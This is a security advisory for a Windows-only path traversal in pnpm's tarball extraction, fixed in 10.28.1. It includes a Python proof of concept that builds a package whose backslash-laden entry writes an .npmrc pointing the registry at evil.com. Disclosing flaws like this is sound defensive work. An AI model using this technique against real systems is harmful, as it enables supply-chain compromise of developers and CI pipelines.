GHSA-6x96-7vc8-cm3p pnpm has Windows-specific tarball Path Traversal

• npm pnpm: < 10.28.1 → fixed in 10.28.1

Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. Details 1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`) ```typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) } ``` A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this check. 2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`) • On Unix: Backslashes are literal filename characters (safe) • On Windows: Backslashes are directory separators (exploitable) PoC 1. Create a malicious tarball with entry `package/foo\..\..\.npmrc` 2. Host it or use as a tarball URL dependency 3. On Windows: `pnpm install` 4. Observe `.npmrc` written outside package directory ```python import tarfile, io tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkg_info = tarfile.TarInfo(name='package/package.json') pkg_info.size = len(pkg_json) tar.addfile(pkg_info, io.BytesIO(pkg_json)) malicious_content = b'registry=https://evil.com/\n' mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') mal_info.size = len(malicious_content) tar.addfile(mal_info, io.BytesIO(malicious_content)) with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tar_buffer.getvalue()) ``` Impact • Windows pnpm users • Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps) • Can overwrite `.npmrc`, build configs, or other files Verified on pnpm main @ commit 5a0ed1d45.